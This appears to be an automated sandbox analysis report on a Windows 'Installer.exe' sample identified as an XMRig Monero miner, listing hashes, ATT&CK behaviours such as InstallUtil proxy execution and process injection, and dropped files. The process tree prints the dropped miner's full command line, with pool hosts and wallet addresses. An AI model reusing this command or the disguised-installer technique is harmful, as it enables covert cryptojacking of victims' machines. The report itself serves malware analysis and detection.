Analysis
-
max time kernel
150s -
max time network
144s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
23-12-2024 19:39
General
-
Target
Installer.exe
-
Size
4.6MB
-
MD5
43dba66b8c79ae15207a60f4151934ca
-
SHA1
20d2f0cb9a7df3808aff1fb65a1a039c32508584
-
SHA256
03ebe6a1c6d8aca197174ddf127b9f4cdbfc9607eeba60920531d70170deb64f
-
SHA512
6d4492e06a039959cccc67b073b4d12293cf32a46858a99f850a9301f242df896a488bb1caba6a673719259091adb34170606225f2987c93f3111c2390821474
-
SSDEEP
49152:PrX04x/He4aIqYuUvsY5HXc8fqv6hugnMJ0dUBsAJjAwuoiap81gDy9zsESdFM:w4xfZ7T9fh/nMJ9fWq81oE
Malware Config
Signatures
-
Xmrig family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 12 IoCs
-
System Binary Proxy Execution: InstallUtil 1 TTPs 2 IoCs
Abuse InstallUtil to proxy execution of malicious code.
-
Executes dropped EXE 2 IoCs
-
Loads dropped DLL 2 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of WriteProcessMemory 16 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Installer.exe"C:\Users\Admin\AppData\Local\Temp\Installer.exe"1⤵
- System Binary Proxy Execution: InstallUtil
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\System\OmegaEngine.exe"C:\Users\Admin\Documents\System\OmegaEngine.exe" -B --donate-level 1 -o us-west.minexmr.com:4444 -u 42f6N5D66RXLeWEBnWGHxhS2iHhPf2YEfHUWX6Hj86TDG8XdqFPB5Jn61K2Go78LbYMvJTar6Dcafe6TQHFwfmad2FHjvuU -k --coin monero -o xmr-us-east1.nanopool.org:14444 -u 46s2W3v7uF2YciHLmfuvAf3o2tNFwEYN44MaTJcgumQVUtfBHfASdLodxna8kNsC7SMG2Q1pVK8hx7T4nANEYQMn5RsqzFZ -k --coin monero3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
40KB
MD591c9ae9c9a17a9db5e08b120e668c74c
SHA150770954c1ceb0bb6f1d5d3f2de2a0a065773723
SHA256e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f
SHA512ca504af192e3318359d4742a2ef26ae1b5d040a4f9942782e02549a310158d5d5dbf919b4c748c31ee609d2046bd23ee0c22712891c86ae4a1e3a58c6e67647e
-
Filesize
6.8MB
MD52c5f8843f514824fc636f451fc6a18b4
SHA1a1c5490efea431fa3f54562d0d19d4f6826c562a
SHA256363841b14e9048fd50a012f2a3e04c3f86312fbcd3c1f4a837a102fe7e258ca7
SHA512b51cf66c2604e4e9ed363933cfb2acad7e1591036b1f8339333aa6d74625b680a952078dcdbd231204e06572d9ca24855d19138dd77eaabc673ab148b89be717
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.4MB
-
Filesize
7.0MB
-
Filesize
7.0MB
-
Filesize
4KB
-
Filesize
7.0MB
-
Filesize
7.0MB
-
Filesize
7.0MB
-
Filesize
6.9MB
-
Filesize
7.0MB
-
Filesize
7.0MB
-
Filesize
6.9MB
-
Filesize
6.9MB
-
Filesize
4KB
-
Filesize
6.9MB
-
Filesize
24KB
-
Filesize
104KB
-
Filesize
6.9MB
-
Filesize
4KB
-
Filesize
88KB
-
Filesize
200KB
-
Filesize
6.9MB
-
Filesize
4.6MB